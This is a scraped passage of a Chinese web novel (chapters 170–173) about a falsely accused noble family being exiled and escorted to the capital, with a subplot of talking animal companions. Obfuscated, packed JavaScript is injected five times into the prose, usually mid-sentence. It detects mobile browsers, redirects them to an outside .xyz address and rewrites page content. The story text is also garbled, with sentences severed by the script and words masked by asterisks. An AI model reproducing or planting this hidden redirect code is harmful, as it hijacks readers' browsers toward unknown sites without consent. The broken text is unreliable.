这一切都是林芷柔的功劳。她早就预感到会有这一天,提前让萤萤将值钱的东西都收进了锦囊。就在官兵来之前,她还抓紧时间将剩下的物件也收得干干净净。 楚星河、楚云浪和楚星霆被戴上沉重的枷锁,准备押送北边。小阳阳哭得上气不接下气,一个劲地喊着“爹爹”。顾馨巧和赵氏也泣不成声,手帕都湿透了。 唯独林芷柔保持着镇定。她从锦囊里取出三个包袱,分给三人。里面装着换洗衣物、水囊和她特制的药丸。官兵检查后,准许他们带着。 “这些药丸记得按时服用。”林芷柔低声叮嘱,“遇到危险就把水囊里的水喝了,能增加些力气。” 楚星河点点头,眼中满是不舍。他想说些什么,却被官兵推搡着往外走。 林芷柔又唤来林小七,喂它仙露泉,在它耳边低语几句。小狗似乎听懂了,依依不舍地离开了。 楚星河被押着往外走时,回头看了林芷柔一眼。两人目光相接,无需言语,胜过千言万语。他知道她一定会想办法救他们,而她也明白他一定会平安回来。 顾馨巧和赵氏抱着阳阳,哭得几乎要晕过去。这变故来得太快,显然是魏王势力日盛的表现。连太子都压不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15801730|171447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住他了。 林芷柔站在院门口,看着他们被押着远去的背影。她的手紧紧攥着衣袖,指节发白。她知道,这只是开始。魏王想要的不仅仅是楚家,更是她手中的星**秘密。 但她不会让魏王如愿。她要让他知道,招惹她是个多么错误的决定。 天边泛起鱼肚白,新的一天即将开始。林芷柔深吸一口气,转身看向顾馨巧和赵氏:“收拾东西吧,我们也该启程了。” “娘,此刻可不是流泪的时候。”林芷柔轻声安慰着顾馨巧,她伸手轻轻擦去母亲脸上的泪痕。 林芷柔看着母亲憔悴的面容,心中一阵刺痛。这些日子,母亲为了照顾病人几乎没有好好休息过。 “我们得回帝都,将这莫须有的罪名洗清。”林芷柔扶着母亲的肩膀,感受到掌心下微微的颤抖,“事情是从帝都开始的,就该回去找到真相。” 顾馨巧抬起头,泪眼朦胧中对上儿媳坚定的目光。她深吸一口气,用袖子擦干眼泪。是啊,此时可不是示弱的阶段,楚云夏凭空污蔑,他们必须讨个说法。 街道上人声鼎沸,百姓们三三两两地**在路边,伸长脖子看着不远处的景象。几名衙役押解着戴着枷锁的楚星河父子三人,沉重的铁链声在石板路上发出刺耳的响动。 “这不是云陵伯府的人吗?”人群中有人惊呼出声。 “怎么会这样?前几天不是还在义诊吗?” “听说是帝都那边的弟弟告了他们一状,说是**。”一个挑着担子的小贩压低声音道。 “**?开什么玩笑!”路边摆摊的老者重重地放下手中的茶碗,发出“咚”的一声响,“云陵伯府的日子过得清清白白,侯爷和世侯为了安置老兵,连家底都投进去了。” “就是,他们要贪,也该在云州贪,怎么会跑去帝都**?这不是胡说八道吗?” 人群中议论纷纷,有人摇头叹息,有人愤愤不平。大家都觉得这是一场莫须有的**。 顾飞燕躲在一处茶摊的阴影下,看着楚星河狼狈的模样,嘴角不自觉地扬起。她的手指无意识地摩挲着脸颊,那里似乎还残留着上次挨打的痛感。这回她懂事多了,不敢像上次那样明目张胆地嘲笑,免得又挨巴掌。 第一百七十章 进京 林家此时已是一片忙乱。下人们来来往往,收拾行李,准备启程。 “文昂,你姐要被押解进京,我们也得去。”林山坐在堂屋的太师椅上,神色凝重地对儿子说道。他的手指无意识地敲击着扶手,显示出内心的不安。 柳雅芝连连点头,眼圈微红:“对,我们一家人要在一起。柔柔为这个家付出太多,现在她有难,我们不能袖手旁观。” 林文昂立刻着手安排:“仁心医馆交给韩大夫继续经营,我们尽快启程。”他转身吩咐下人:“去准备几辆马车,多带些干粮和御寒的衣物。” 伍大年带着一群老兵等在城门外,默默地送别楚星河。他们不敢靠得太近,只是远远地望着。这些年来,云陵伯府对他们这些老兵照顾有加,如今看到恩人蒙冤,心中五味杂陈。 “我要跟你们去帝都。”伍大年拄着拐杖,对林文昂说。他的眼神坚定,语气不容置疑。 孙叔、杨叔、陈叔等人纷纷响应,他们都是当年跟随楚星河父亲征战的老兵。 “庄子的事你们不用担心,”伍大年说,“我儿子会照看,威武将军也会护着。”说着,他看了看身边的几位老兵,“我们这些老骨头,也该动一动了。” 林文昂点头,他知道这些老兵对姐姐一家的忠心。这些年来,楚星河不仅给他们安排住处,还让他们在庄子里种地,过上了安稳的日子。 他已悄悄从将军府后门去见过了威震大将军卓毅。卓毅正在书房里大发雷霆,茶杯摔在地上发出清脆的响声:“魏王太过分了!为了将林大夫弄去帝都,连这种下作手段都用出来了!” 裴氏在一旁劝慰:“将军别动怒,这事恐怕另有隐情。”她弯腰捡起地上的碎片,小心地放在托盘里。 “还能有什么隐情?”卓毅冷笑,在书房里来回踱步,“不就是楚云夏母子想要夺回爵位吗?不过他们也没考虑过,魏王岂是那么好合作的?这是在玩火**!” “这老夫人怕是打错了算盘。”他轻声自语,眼底闪过一丝讥诮,“林大夫可不是个好相与的主。” 裴氏坐在檀木绣架前,听着丈夫的话,手中的玉针微微一顿。她抬眼看向窗边的身影,犹豫片刻才开口:“听说她在逃难时连土匪老大都敢干掉,一个深宅老夫人,又算得了什么?” “那倒也是。”卓毅转过身来,眸光微闪,“不过这次的事情,怕是没那么简单。” “妾身倒是希望世侯妃能挺得住。”裴氏放下手中精致的绣活,眉头微蹙,“若是只靠侯夫人,回了帝都怕是要被人拿捏。这一路上,还不知道会遇到什么...” 话未说完,她的声音便低了下去。院子里传来脚步声,一个丫鬟快步走进来,轻声禀报:“老爷,林公子来了。” “知道了。”卓毅点点头,目光落在裴氏身上,“把咱们帝都别院的地契拿出来,送去给林大夫。她们这些女眷到了帝都,总得有个落脚的地方。” 裴氏连忙应下,起身去取地契。经过丈夫身边时,她停顿了一下:“老爷,当年若不是云陵伯将你硬拉去仁心医馆...” “我都记着。”卓毅打断她的话,声音低沉,“去吧。” 林文昂从后门进来时,正巧错过了抱着包袱往外走的裴氏。他在花厅等了片刻,看着窗外的落花出神。 卓毅从书房走出来,看到林文昂立刻站起身,拱手行礼。 “林公子此来,有什么话但说无妨。”卓毅在主位坐下,示意林文昂也坐,“能帮的,本将军定当相助。” 林文昂深深一揖:“家姐即将启程去帝都,我与庄子上一部分人也要随行。留下的人,还望将军能多加照看。” “这个你大可放心。”卓毅拍着胸脯保证,眼中闪过一丝坚定,“那些都是本将军的旧部,岂能让人欺负了去?” 林文昂松了口气,又叮嘱道:“庄子里的成果,每一样都是金母鸡。将军务必要多加防范,生怕有人对那儿的事动心思。” “他们敢!”卓毅冷哼一声,拳头重重砸在桌上,“那是云陵伯给退伍老兵谋的福利,谁敢动手,本将军定叫他吃不了兜着走!” 与此同时,裴氏来到关押林芷柔的院子。守门的官兵拦住她,粗暴地检查包袱。 顾馨巧想要阻拦,却被林芷柔拉住。她的目光落在包袱上,神色平静。 包袱里除了几双新鞋,还藏着些碎银子,最后是一张房契。官兵不屑地抽出房契,林芷柔立刻喝止:“那是威震大将军夫人的心意,你有什么资格拿走?” “呵。”林芷柔冷笑,眼中闪过一丝了然,“看来魏王依然没弄明白自己的身份。行,你拿去,一会儿给我原封不动送回来。” 官兵离开后,顾馨巧气得直跺脚:“这些强盗,连别人送来的东西都要抢走!” 赵氏抱着睡着的阳阳,愁眉不展:“咱们几个女人带着孩子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15801731|171447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这么远的路该怎么走?” 林芷柔看着儿子脸上未干的泪痕,心中一阵酸涩。若不是当初自己卖给魏王止痛药,他也不会这般迫切地要拉下楚星河父子。 皇上为了魏王的病情,竟然无视众人的反对,草草结案。云陵伯父子被发配边疆,而她们这些女眷,则要被押解进京。 帝都太子在御书房外跪着苦苦请求,却换来皇上一顿训斥。 “你如此固执,不敬兄长,将来如何让天玄江山稳固?朕不过是让他们去守城,又没下大牢,你急什么?” 太子司马宁回到东宫,瘫坐在椅子上,浑身发抖。幕僚们一个个都在唉声叹气,都明白魏王此举是为了夺取云州的控制权,觊觎飞火连珠弓的制作之法。 果然,云陵伯父子一走,魏王的手下便收买了制造营的人员,盗走了部分图纸,交给了秦面罗刹李远龙。 林芷柔站在窗前,看着月光下的庭院。院中的梨花开得正盛,花瓣随风飘落,如同纷纷扬扬的雪。 她想起当初在仁心医馆的日子,那时候虽然辛苦,但至少一家人团圆。如今却要被迫分离,不知何时才能再见。 赵氏抱着阳阳走过来,轻声道:“柔柔,你也休息吧。明天还要赶路呢。” 林芷柔摇摇头:“娘,您先睡吧。我再看看这院子。” 这是她在云州的最后一夜了。明天一早,她们就要启程去帝都。不知道等待她们的,会是什么样的命运。 远处传来更夫打更的声音,林芷柔的心却怎么也平静不下来。她知道,这只是开始。魏王不会轻易放过他们,而她必须想办法保护好家人。 第二天一早,天还没亮,官兵就来催促她们启程。 林芷柔抱着还在睡梦中的阳阳,看着院子里的梨花,心中一阵酸涩。这些年,她在云州经历了太多,有欢笑,有泪水,有幸福,也有痛苦。 但现在,她必须离开了。 顾馨巧收拾好行李,红着眼圈走过来:“柔柔,都准备好了。” 林芷柔点点头,深吸一口气:“走吧。” 她知道,这一路不会太平。但她必须坚强,为了儿子,为了家人。 队伍缓缓向城门口移动,晨曦中,云州的轮廓渐渐模糊。林芷柔回头看了一眼,眼中闪过一丝决然。 不管前方有什么等着她,她都会面对。因为她是林芷柔,是那个在逃荒路上都能活下来的林大夫。 第一百七十一章 为翻案做准备 司马宁站在御书房外,手中紧握着一份密报,指节因用力而泛白。他低头看着那些密密麻麻的字迹,每一个字都仿佛带着刺,深深地扎进他的心里。 这份密报记载了魏王与玄冥四王子的秘密往来,以及金泰钱庄背后错综复杂的关系网。密报上的每一个字都是铁证,可他知道,即便拿着这些证据去见父皇,结果依然会是徒劳。 司马宁抬头望向天际,阴沉的天空仿佛预示着什么。 “太子殿下,陛下宣您觐见。”内侍躬身轻声提醒。 司马宁深吸一口气,将眼中的阴郁收敛,整理了一下衣袍,迈步走进御书房。扑面而来的檀香让他微微皱眉,这是父皇最喜欢的香料,可他总觉得这香气中带着几分呛人的味道。 “父皇。”他恭敬地行礼。 皇帝正在批阅奏折,连头都没抬:“听说你又派人去查金泰钱庄了?” 语气里的不悦让司马宁心头一紧,但他还是坚持道:“是,儿臣发现玄冥四王子...” “够了!”皇帝猛地拍案而起,案上的朱砂溅出几点,在白纸上晕开刺目的红,“朕说过多少次,不准你再查这件事!” 司马宁咬紧牙关,将那份密报紧紧攥在手中。纸张在掌心被揉皱,发出细微的声响。 “父皇,大皇兄他...” “你大皇兄怎么了?”皇帝冷笑,目光如刀般锋利,“他做错什么了?就因为他经商有道,你就容不下他?” “儿臣不是这个意思。”司马宁低声辩解。 “那你是什么意思?”皇帝踱步到他面前,居高临下地看着他,“身为太子,整日里就知道算计自己的兄长?你可知,朕最厌恶的就是兄弟相残!” 司马宁低着头,不敢与父皇对视。从小到大,他似乎从未在父皇眼中看到过赞许的目光。每次见面,要么是训斥,要么是冷漠。 “退下吧。”皇帝转身回到案前,语气疲惫,“记住,以后不准再查金泰钱庄的事。这是最后一次警告。” “是,儿臣告退。” 走出御书房,司马宁才发现手心已经被指甲掐出了血痕。他靠在廊柱上,望着远处飘落的雪花,心中苦涩难言。 为什么?为什么父皇总是这样偏袒大皇兄?难道他看不出来魏王的野心吗?还是说...他其实早就看出来了,只是不愿意承认? 他想起前些日子,楚星河将连珠弓图谱分散保管的事。那些图纸虽然被分散了,但只要有心人得到其中一部分,再加上实物研究,就能破解其中的奥秘。 而魏王,正是那个最有可能得到图纸的人。 想到这里,司马宁的心沉了下去。他必须尽快找到那些图纸,否则后果不堪设想。 与此同时,云州内。 楚涵凤站在萧府大门前,看着眼前熟悉又陌生的一切。朱漆斑驳的大门,门楣上的匾额,甚至连门环上的铜锈都让她感到一阵恍惚。 “大姐,你可算回来了!”楚涵清尖细的嗓音传来,打断了她的思绪。 楚涵凤转身,看到楚涵清挺着个大肚子,扶着丫鬟的手,得意洋洋地走来。她的目光在楚涵清的肚子上停留了一瞬,随即移开。 “听说云陵伯府获罪了?”楚涵清笑得刻薄,“你这是打算回娘家避难?也是,现在除了娘家,你还能去哪儿?” 楚涵凤没有理会她,径直往内院走去。庭院里的梅花开得正盛,暗香浮动,可她已经无心欣赏。 “站住!”楚涵清追上来,“我在和你聊呢!你这个灾星,林家就是被你克的!” 楚涵凤突然停下脚步,转身看向楚涵清。寒风吹起她的发丝,眼中闪过一丝冷意。 那一瞬间的气势,让楚涵清不由自主地后退了一步,差点跌倒。 “你...你想干什么?”楚涵清护住肚子,色厉内荏地喊道,“我可是有孕在身!你要是敢动我,我就...” 楚涵凤看了眼站在一旁的孔明远,那人眼中闪过的厌恶之色,让她心中一叹。曾经的姐妹情谊,早已在权势和利益面前荡然无存。 “楚涵清,好好照顾你的孩子吧。”她淡淡地说完,转身离去。 身后传来楚涵清尖锐的笑声:“你这是在诅咒我?你自己没有孩子,就嫉妒我是不是?” 孔明远拉住还要追上去的楚涵清: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15815519|171447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “够了!你现在有孕在身,别闹了。” 楚涵凤没有回头,她知道,楚涵清这样的性子,迟早会把自己作死。就像当初她执意要嫁给孔明远一样,明知道对方心里有别人,还是一意孤行。 老夫人的院子就在前面,她得抓紧时间。相公即将启程去帝都,她必须尽快处理完这边的事。 穿过回廊,楚涵凤看到老夫人正坐在廊下晒太阳。老人的鬓角又白了几分,脸上的皱纹也更深了。 “老夫人。”她轻声唤道。 老夫人抬头看她,目光复杂:“你回来了。” 楚涵凤跪下行礼:“孙女给老夫人请安。” “起来吧。”老夫人叹了口气,“你这孩子,怎么瘦了这么多?” 楚涵凤站起身,强忍住眼中的泪意:“孙女没事。” 老夫人看着她,欲言又止。良久,才道:“进来说话吧。” 跟着老夫人进了屋,楚涵凤闻到了熟悉的香气。老夫人一直喜欢在屋里点檀香,说是能静心。 “坐。”老夫人示意她坐下,自己则拿起茶壶给她倒茶,“说说吧,这次回来是为了什么事?” 楚涵凤接过茶盏,看着杯中的茶叶慢慢舒展:“老夫人,孙女想请您...” 话未说完,外面突然传来一阵喧哗声。 “夫人,不好了!二夫人晕倒了!” 老夫人脸色一变,立刻站起身:“怎么回事?” 丫鬟慌慌张张地跑进来:“二夫人刚才跟大小姐吵完架,就觉得肚子疼,然后就...” 老夫人顾不得多问,急忙往外走:“快去请大夫!” 楚涵凤站在原地,看着众人慌乱的背影,眼中闪过一丝复杂。她知道,这次回来的时机,似乎并不太好。 但她别无选择。 相公即将启程去帝都,而她必须在这之前,解决好所有的事情。包括那些不愿面对的过往,和那些不得不面对的未来。 窗外的梅花依旧在寒风中摇曳,暗香浮动。楚涵凤站在窗前,看着飘落的花瓣,心中五味杂陈。 她知道,这只是开始。真正的风暴,还在后面。 第一百七十二章 楚涵凤道别家人 楚家大爷站在门廊下,焦躁地来回踱步。庭院里的石板被他的脚步磨得发亮,额头上渗出细密的汗珠。 他刚得知云陵伯府出事的消息,心中忧虑万分。大女儿嫁到林家,此事必定会牵连到她。想到这里,他的脚步不由得加快了几分。 院子里忽然传来一阵刺耳的叫嚷声,打断了他的思绪。 “姐姐,你这话是什么意思?难不成你嫉妒我有了身子,在这里诅咒我?”楚涵清尖锐的声音像一把锋利的刀,生生刺痛了楚家大爷的耳膜。 庭院里的丫鬟们纷纷低下头,假装没听见这刺耳的争吵声。几只麻雀被这突如其来的喧闹声惊得扑棱着翅膀飞走了。 楚家大爷揉了揉发胀的太阳穴。自从大女儿病愈后,他就看清了二女儿的本性。这个庶出的女儿,除了耍弄心机,就是咋咋呼呼,与她那个母亲一个德行。 想到她近来借着有孕为由,硬是要搬回楚家住,还带着那个不成器的秀才夫婿和婆婆,楚家大爷就觉得一阵头疼。那孔秀才整日游手好闲,不务正业,偏偏还要在他面前卖弄学问。 “住口!”楚家大爷终于忍无可忍,“要闹腾给我滚回孔家去!来人,送二小姐回家!” 他的声音在院子里回荡,惊得廊下的燕子都飞走了。几个丫鬟战战兢兢地走上前来,却又不敢真的动手。 楚涵清立即扯着嗓子哭嚎起来,眼泪像断了线的珠子般往下掉:“凭什么楚涵凤能回来,我就不能?我不走,打死我也不走!”她一边哭,一边护着自己微微隆起的腹部,做出一副楚楚可怜的样子。 楚家大爷看着这一幕,只觉得心烦意乱。他朝大女儿招手:“别理她,跟爹进来说话。” “爹,”楚涵凤温声劝道,眉眼间透着几分无奈,“她到底是您的女儿,就让她一起进来吧。女儿这次回来是要告别的,相公打算举家迁往帝都。” 说着,她怀中抱着的小女娃朝楚家大爷伸出了胖乎乎的小手,咿咿呀呀地叫着:“爷爷......” 这是楚涵凤的女儿林含澜,小名澜儿,才一岁多,生得粉雕玉琢,尤其是那双乌溜溜的大眼睛,灵动可爱。她穿着一件粉色的小襦裙,头上扎着两个可爱的小揪揪,像个精致的瓷娃娃。 楚家大爷心头一软,将外孙女抱在怀里。小家伙立刻搂住他的脖子,在他脸上亲了一口,逗得他忍不住笑了起来。 但很快,因为听闻女儿要去帝都,他的面色又沉了下来:“当真要走?” “是,全家都要去。”楚涵凤转向楚涵清,语气温和地说道,“妹妹,我刚才说那些话并无恶意。只是林大夫要走了,你以后要多加小心,孕期要适当运动,莫要总躺着。” 楚涵清听到这话,心里一慌。她正担心没了林大夫,自己生产时该如何是好。但嘴上仍是不饶人:“少在这装好人,管好你自己就行!” 她说这话时,眼神闪烁,显然心里并不像表面上这般硬气。她下意识地摸了摸自己的肚子,眼中闪过一丝慌乱。 就在这时,老夫人匆匆赶来,她的拐杖在地上敲出急促的声响。两个丫鬟搀扶着她,生怕她走得太快摔倒。 得知林家要迁往帝都,老夫人红了眼眶,苍老的面容上写满了不舍:“真的非走不可吗?” “祖母,”楚涵凤轻声解释,眼中含着歉意,“朝廷要云陵伯府的女眷回京,公婆放不下心,相公又放心不下公婆......” 话未说完,楚涵清又插嘴道:“爹,要不咱们也去帝都吧!那里多繁华啊,还能把金玉满堂楼开到帝都去!”她说这话时眼睛发亮,仿佛已经看到了帝都繁华的景象。 “闭嘴!”老夫人厉声喝止,“你一个妇道人家,整日胡言乱语!” 孔明远见势不妙,连忙拉着楚涵清告退。楚涵清还想说什么,却被他拽着离开了。 待他们走后,老夫人长叹一声,拄着拐杖坐在院子里的石凳上:“派人送他们回去吧,这个家都快被她搅得天翻地覆了。” “祖母,”楚涵凤握住老夫人的手,感受着那布满皱纹的手掌传来的温度,“孙女看那孔秀才似乎对清儿已生了厌烦之意,往后还请多加留意她。” 老夫人摆摆手,眼中闪过一丝疲惫:“我这把年纪,管不了那么多了。只是舍不得你去那么远的地方......” “祖母放心,”楚涵凤笑道,“等我们在帝都安顿下来,就让父亲接您过去住。帝都繁华,开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15815520|171447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家酒楼定能红火起来。” 她说这话时,目光温柔地看着怀中的女儿。小澜儿已经在外祖父怀里睡着了,小脸蛋红扑扑的,长长的睫毛像两把小扇子。 楚家大爷看着这一幕,心中五味杂陈。他知道女儿此去帝都,恐怕短时间内难以相见。但为了女儿的安全,这或许是最好的选择。 夕阳的余晖洒在院子里,将一家人的影子拉得很长。远处传来几声鸟鸣,仿佛在为这即将分别的一家人送别。 老夫人站起身来,拄着拐杖慢慢走向屋内:“去收拾些东西吧,让丫鬟们帮着准备。路上带些干粮,别饿着孩子。” 楚涵凤跟在老夫人身后,轻声应着。她的背影在夕阳下显得格外单薄,却又透着一股坚韧。 楚家大爷抱着熟睡的外孙女,久久站在院子里。他望着天边的晚霞,心中默默祈祷着女儿此去,能够平安顺遂。 忽然楚家大爷眼中闪过一丝光亮,脸上的皱纹都舒展开来:“凤儿其实清儿刚刚的主意还不错,若能在帝都开起酒楼,也算是给你爷爷留下的产业添砖加瓦了。” 他说这话时,手指无意识地摩挲着椅子扶手,那是先父生前最喜欢的紫檀木圈椅。每每想起父亲,他总会不自觉地做出这个动作。 楚涵凤正要开口,却见父亲眼中泛起一层薄雾。她知道,父亲一直对爷爷的离世耿耿于怀。当年若不是爷爷临终前将家业交到父亲手上,恐怕楚家早已败落。 屋内一时沉默。檐下风铃轻响,院中梧桐叶沙沙作响。这座老宅承载着太多回忆,每一块砖瓦都诉说着楚家的兴衰。 正当气氛渐渐凝重之际,外头的丫鬟匆匆进来回话:“大夫人身子不适,说是不便见大小姐。” 这话一出,屋内气氛骤然冷却。老夫人手中的茶盏重重放在桌上,发出一声闷响。 “又是这样。”老夫人眉头紧皱,眼中闪过一丝不悦。她太清楚儿媳妇为何如此,不过是因为当年那一场桃花瘴罢了。可笑的是,这病还是遗传了她这个老婆子。 楚涵凤垂眸,指尖微微发颤。从小到大,母亲对她的冷漠早已让她**以为常。可每每想起幼时那些渴望母爱的日子,心头还是会泛起阵阵酸涩。 第一百七十三章 一起去帝都 “娘,”楚家大爷欲言又止,“要不我去劝劝?” 老夫人摆摆手:“不必了。”她从袖中取出一叠玉牌,“这五千两你拿着,路上也好置办些东西。” 澜儿这时从楚家大爷怀里溜了下来,蹬蹬蹬跑到老夫人身边,仰着小脸要抱抱。小家伙穿着一身月白色的绣花小袄,圆圆的脸蛋红扑扑的,像个瓷娃娃。 老夫人眼中的阴霾一扫而空,笑眯眯地将小人儿抱起来:“我们澜儿最乖了。”她轻轻捏了捏澜儿肉嘟嘟的小脸,满眼都是宠溺。 “曾外婆要保重!”澜儿奶声奶气地说着,在老夫人脸上亲了一口,“澜儿会想你的!” 老夫人被逗得合不拢嘴:“瞧瞧,这孩子多懂事。你也要听娘的话,快快长大。”她说着,从荷包里掏出一块玉佩,“这是我年轻时候的物件,给你防身。” 澜儿接过玉佩,爱不释手地摩挲着:“谢谢曾外婆!” “澜儿长大了带弟弟!”小家伙拍着胸脯保证道。 楚涵凤看着这一幕,心中涌起一股暖流。虽然母亲不待见她,但有祖母和父亲的疼爱,也算是上天的眷顾了。她的目光落在澜儿身上,孩子天真无邪的笑容总能抚平她心中的伤痛。 “凤儿,”老夫人正色道,“你是我楚家最有经商头脑的孩子。你弟弟妹妹都比不上你,你父亲这一辈子也没啥成就。如今靠着你夫君,楚家才有了些起色。” 楚家大爷听了这话,不好意思地摸了摸鼻子。确实,他这辈子最大的成就就是把女儿嫁给了云陵伯府的世侯。 楚涵凤接过玉牌,郑重道:“孙女定不负祖母期望。等在帝都站稳脚跟,必让金玉满堂楼名扬四方。” “对了,”老夫人想起什么,“你那些个稀奇古怪的小动物,可都安置好了?” 楚涵凤点点头:“都安排妥当了。” 老夫人叹了口气:“也就你能跟这些畜生说上话。当初要不是你,我们楚家也不会有今天。” 楚涵凤心中一暖。确实,若不是她有这个奇异的本领,也不会在危急时刻得到动物们的帮助。那些被世人称作畜生的小家伙,却比某些人类更懂得知恩图报。 告别时,楚涵凤抱着澜儿给祖母和父亲磕了头。转身离去时,她没有回头,却听见身后传来祖母的一声叹息。 待楚涵凤走后,楚家大爷低声道:“她娘这是怕云陵伯府的事连累两个儿子,才避而不见的。” 老夫人摇摇头:“她这是钻了牛角尖。云陵伯府再不好,那也是凤儿的婆家。她这般做,只会让凤儿更伤心。” 楚家大爷叹了口气:“也不知道凤儿这一去,什么时候才能回来。” “去吧,”老夫人望着院中的梧桐树,“总比留在这里强。” 另一边,灰羽在后院召集了它的动物伙伴们开会。阳光透过树叶斑驳地洒在地上,一群小动物围坐成一圈,场面颇为滑稽。 “主人要去帝都了,你们去不去?”灰羽问道,它的尾巴轻轻摆动,显得有些焦虑。 灰鼠七第一个跳出来,胡须抖动:“去!主人在哪,我就在哪!这还用说?” 玄猫五优雅地舔了舔爪子,有些犹豫:“我的子民怎么办?总不能丢下它们不管。” “你是不是傻?”黄狗九翻了个白眼,“交给能干的**人不就行了?再说了,帝都那么大,还怕找不到新的子民?” 夜翼四倒挂在树上,翅膀微微颤动:“帝都多好啊,到时候再收服一批子民。听说那里的建筑都特别高,最适合我们蝙蝠了。” 鹰老五兴奋地说:“我要去皇宫最高处吓唬太监宫女!想想就刺激!” “打探消息还得看我们鼠族!”灰鼠七得意洋洋,“皇宫地道我们最在行。” “追踪找人是我们狗族的强项!”黄狗九不甘示弱,“帝都那么大,没有我们可不行。” 墨翎看着这群吵吵闹闹的小家伙,嘴角露出一丝笑意。这一路去帝都,有它们相伴,想必不会寂寞。何况,这些小家伙各有本领,说不定什么时候就能派上用场。 “那就这么定了!”灰羽拍板,“明天一早,我们就跟着主人出发。” 夜幕降临,楚涵凤站在窗前,望着满天繁星。帝都,那个繁华却暗流涌动的地方,不知道会带给她怎样的际遇。她轻轻抚摸着腹部,那里有一个新的生命正在孕育。 院子里传来窸窸窣窣的声音,那是她的小伙伴们在忙着准备明天的行程。楚涵凤露出一丝微笑,有它们在身边,她便不会感到孤单。 明天,就要启程了。 “怎么去帝都?”灰鼠七焦躁地在地上转着圈,尖细的嗓音带着几分急切。它那灰色的小爪子不停地搓着,细长的尾巴紧张地甩动着,时不时还用那双黑豆般的小眼睛偷瞄着周围的同伴。 玄猫五慵懒地趴在一旁的石头上,漆黑的皮**在夕阳下泛着微光。它眯着那双琥珀色的眼睛,尾巴有一下没一下地拍打着石面:“这个问题确实难倒我了。要知道,从云州到帝都,可不是一段短距离。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15815521|171447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “走着去呗!”黄狗九突然站起身来,那副趾高气扬的模样惹得其他动物直翻白眼。它抖了抖身上略显粗糙的毛发,鼻子微微上扬:“你们这些小家伙连这都想不明白?四条腿不就是用来走路的吗?” 这话一出,原本还算平静的氛围瞬间被打破。玄猫五浑身的**一下子竖了起来,琥珀色的眼睛瞬间变得锐利。它猛地从石头上跳下来,优雅的姿态荡然无存:“你说谁是小家伙?信不信我让你这条老狗今天尝尝我的爪子?” 黄狗九也不甘示弱,龇牙咧嘴地冲着玄猫五低吼:“来啊,谁怕谁?别以为你那两下子能奈我何!” 眼看一场混战即将爆发,灰羽慌忙扑腾着翅膀挡在两兽之间。这只灰扑扑的麻雀虽然体型不大,但此刻却散发出一种不容忽视的气势:“都给我住手!主人说过,团队要团结!要是打架,可就都别想去帝都了。” 这话像一盆冷水浇在两兽头上。玄猫五的**慢慢贴服下来,它装模作样地舔了舔爪子,故作优雅地说道:“我跟老黄狗开玩笑呢,谁会真跟它一般见识。” 黄狗九也赶紧摇起尾巴,刚才的气势荡然无存:“对对对,我们感情好着呢。刚才就是闹着玩。” 墨翎在一旁看得直摇头。这只年迈的花猫经历得多,对这种场面早已见怪不怪。它慢悠悠地走到灰羽身边:“灰羽,?总不能就只说了要团结这一件事吧?” “对了!”灰羽一拍脑袋,差点忘了正事,“主人让咱们晚上去仁心医馆后门集合。她说时间很重要,可千万别迟到。” 这话一出,所有动物都兴奋起来。灰鼠七激动地在地上蹦跳,那副模样像是吃了**:“真的吗?终于要出发了?” “我早就受够这个小地方了。”玄猫五伸了个懒腰,眼中闪过一丝憧憬,“帝都的猫肯定比这里的有见识多了。” 黄狗九也不甘示弱:“等到了帝都,我一定要找个好主人。最好是个大户人家,天天有肉吃。” 